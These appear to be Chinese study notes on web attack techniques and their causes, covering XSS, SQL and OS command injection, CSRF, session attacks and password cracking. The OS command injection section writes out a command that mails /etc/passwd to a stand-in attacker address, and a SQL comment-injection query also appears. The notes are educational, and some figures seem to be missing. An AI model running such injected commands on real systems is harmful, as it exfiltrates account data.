11.1 针对Web的攻击技术
攻击目标是应用HTTP协议的服务器和客户端,以及运行在服务器上的Web应用等资源
11.1.1 HTTP不具备必要的安全功能
HTTP 就是一个通用的单纯协议机制。因此它具备较多优势,但是在安全性方面则呈劣势。
就拿远程登录时会用到的 SSH 协议来说,SSH 具备协议级别的认证及会话管理等功能,HTTP 协议则没有。另外在架设 SSH 服务方面,任何人都可以轻易地创建安全等级高的服务,而 HTTP 即使已架设好服务器,但若想提供服务器基础上的 Web 应用,很多情况下都需要重新开发。
所以开发者需要自行设计并开发认证和会话管理功能来满足web的安全需求
11.1.2 在客户端即可篡改请求
在 HTTP 请求报文内加载攻击代码,就能发起对 Web 应用的攻击。 通过 URL 查询字段或表单、HTTP 首部、Cookie 等途径把攻击代码传入,若这时 Web 应用存在安全漏洞,那内部信息就会遭到窃取,或 被攻击者拿到管理权限。
11.1.3 针对web应用的攻击模式
有以下两种:
- 以服务器为目标的主动攻击
攻击者通过访问web应用,把攻击代码传入的攻击模式通过直接访问Web应用,代表性的有SQL注入攻击和OS命令注入攻击

- 以服务器为目标的被动攻击
指利用全套策略执行攻击代码的攻击模式,不直接对Web应用访问发起攻击
攻击模式如下:
- 攻击者诱使用户出发以设置好的陷阱,陷阱会启动发送已嵌入攻击代码的HTTP请求
- 当用户不知不觉触发了陷阱,浏览器或者邮件客户端就会触发陷阱
- 浏览器把含有攻击代码的HTTP请求发送给Web应用,运行攻击代码
- 执行完攻击代码,存在安全漏洞的Web应用会成为攻击者的跳板,可能导致用户所持的Cookie被窃取,登陆状态中的用户权限遭恶意滥用等后果
代表性的有跨站脚本攻击和跨站点请求伪造

利用被动攻击可发起对原本从互联网无法直接访问的企业内网这样的攻击
企业内网依然可以连接到互联网上,访问web网站或接收互联网发来的邮件,所以可以给攻击者可乘之机

11.2 因输出值转义不安全引发的安全漏洞
针对web应用的安全对策可分为以下两部分:
- 客户端的验证
- web端的验证
- 输入值验证
- 输出值转义

客户端允许修改或关闭JavaScript,所以不适合将JavaScript验证作为安全的防范,一般只是为了尽早辨识输入错误,起到提高UI体验的作用。
web端的输入值验证是指检查系统业务逻辑的数值或检查字符编码等预防对策
从数据库或文件系统、HTML、邮件等输出 Web 应用处理的数据之际,针对输出做值转义处理是一项至关重要的安全策略。当输出值转义不完全时,会因触发攻击者传入的攻击代码,而给输出对象带来损 害。
11.2.1 跨站脚本攻击
跨站脚本攻击(Cross-site scripting, XSS)是指通过存在安全漏洞的Web网站注册用户的浏览器内运行非法的HTML标签或JavaScript进行的一种攻击
下面以编辑个人信息界面为例讲解跨站脚本攻击

可以换成删除线当然也可以换成script标签,XSS是攻击者利用预先设置的陷阱触发的被动攻击
还有一种是通过URI进行攻击

浏览器打开该 URI 后,直观感觉没有发生任何变化,但设置好的脚本却偷偷开始运行了。当用户在表单内输入 ID 和密码之后, 就会直接发送到攻击者的网站(也就是 hackr.jp),导致个人登录信息被窃取。
- 对用户Cookie的窃取攻击
通过恶意构造的脚本也可以实现跨站脚本攻击,窃取到用户的Cookie信息

执行这段脚本,即可访问到该web应用所处域名下的Cookie信息,然后发送这些到攻击者的web网站(http://hackr.jp)上,记录在它的登陆日志上
11.2.2 SQL注入攻击
- 会执行非法SQL的SQL注入攻击
SQL 注入(SQL Injection)是指针对 Web 应用使用的数据库,通过运行非法的 SQL 而产生的攻击。有时会直接导致个人信息及机密信息的泄露。
有以下影响:
- 非法查看或篡改数据库的数据
- 规避认证
- 执行和数据库服务器业务关联的程序
- SQL注入攻击案例


这样SQL语句就变成了
SELECT * FROM bookTbl WHERE author ='上野宣' - -' and flag=1;

这样就将--后面的限制语句注释掉了,把未出版书籍的条目也一同显示出来了。
11.2.3 OS命令注入攻击
OS 命令注入攻击(OS Command Injection)是指通过 Web 应用,执行 非法的操作系统命令达到攻击的目的。只要在能调用 Shell 函数的地方就有存在被攻击的风险。
以咨询表单的发送功能为例,该功能可将用户的咨询邮件按一天写的对方的邮件地址发送过去


可见,sendmail 命令执行被分隔后,接下去就会执行 cat/etc/passwd | mail hack@example.jp 这样的命令了。结果,含有Linux 账户信息 /etc/passwd 的文件,就以邮件形式发送给了 hack@example.jp。
11.2.4 HTTP首部注入攻击
HTTP 首部注入攻击(HTTP Header Injection)是指攻击者通过在响应首部字段内插入换行,添加任意响应首部或主体的一种攻击。属于被动攻击模式。
向首部主体添加内容的攻击称为HTTP响应截断攻击(HTTP Response Splitting Attack)

11.3 因设置或设计上的缺陷引发的安全漏洞
因设置或设计上的缺陷引发的安全漏洞是指,错误设置 Web 服务器,或是由设计上的一些问题引起的安全漏洞。
11.3.1 强制浏览
Forced Browsing是指从web服务器的公开目录下的文件中,浏览那些原本非自愿公开的文件,造成一些泄漏信息的影响

11.3.2 不正确的错误消息处理
Error handling Vulnerability是指web应用的错误信息内包含对攻击者有用的信息

还有可能抛出数据库等系统的错误信息,攻击者从SQL错误消息中可读出数据库选用的是 MySQL,甚至还看见了 SQL 语句的片段。这可能给攻击者进行 SQL 注入攻击以启发。
11.3.3 开放重定向
Open Redirect是一种对指定的任意URI做重定向跳转的功能,安全漏洞存在于假如指定的重定向URL到某个具有恶意的web网站,那么用户就会被诱导到哪个web网站

11.4 因会话管理疏忽引发的安全漏洞
11.4.1 会话劫持
Session Hijack是指攻击者通过某种手段拿到了用户的会话ID并非发使用这个会话ID伪装成用户达到攻击的目的
下面是几种攻击者可获得会话ID的途径:
- 通过非正规的生成方法推测会话ID
- 通过窃听或XSS攻击盗取会话ID
- 通过会话固定攻击强行获取会话ID
11.4.2 会话固定攻击
Session Fixation攻击会强制用户使用攻击者指定的会话ID,属于被动攻击

恶意使用该功能便可跳过会话固定攻击的准备阶段,从 Web 网站获得发行的会话 ID 的步骤。即,攻击者可私自创建会话 ID 构成陷阱,中间件却会误以为该会话 ID 是未知会话 ID 而接受。
11.4.3 跨站点请求伪造
跨站点请求伪造(Cross-Site Request Forgeries,CSRF)指攻击者通过设置好的陷阱,强制对已完成认证的用户进行非预期的个人信息等状态更新,属于被动攻击
有以下影响:
- 利用已通过认证的用户权限更新设定信息等
- 利用已通过认证的用户权限购买商品
- 利用已通过认证的用户权限在留言板上发表言论

11.5 其他安全漏洞
11.5.1 密码破解
有以下两种手段:
- 通过网络的密码试错:有两种方式 1.穷举法(对密钥空间进行穷举) 2.字典攻击(在密钥空间中选择一个特征作为字典空间来进行验证,例如选择生日数字来穷举)
- 对已加密密码的破解(指攻击者入侵系统,已获得加密或散列处理的密码数据的情况)

从加密过的数据中导出明文通常有以下方法:
- 穷举+字典
- 彩虹表
- 拿到密钥
- 加密算法的漏洞
彩虹表(Rainbow Table)是有明文密码及与之对应的散列值构成的一张数据库表,是一种通过事先制作的庞大的表。可缩短暴力破解的时间

11.5.2 点击劫持
Clickjacking 是指利用透明的按钮或链接做成陷阱,覆盖在Web页面之上,然后诱使用户在不知情的情况下,点击链接访问内容的一种攻击手段,又称为页面伪装(UI Redressing)

11.5.3 Dos攻击
Denial of Service attack是一种让运行的服务呈停止状态的攻击
以下两种DoS攻击:
- 集中利用访问请求造成资源过载,资源用尽的时候也就是服务停止之时
- 通过攻击安全漏洞使服务停止
多台计算机发起的 DoS 攻击称为 DDoS 攻击(Distributed Denial of Service attack)。DDoS 攻击通常利用那些感染病毒的计算机作为攻击者的攻击跳板。
11.5.4 后门程序
后门程序(Backdoor)是指开发设置的隐藏入口,可不按正常步骤使用受限功能,利用后门程序就能使用原来受限的功能
通常分为以下3种:
- 开发阶段作为 Debug 调用的后门程序
- 开发者为了自身利益植入的后门程序
- 攻击者通过某种方法设置的后门程序
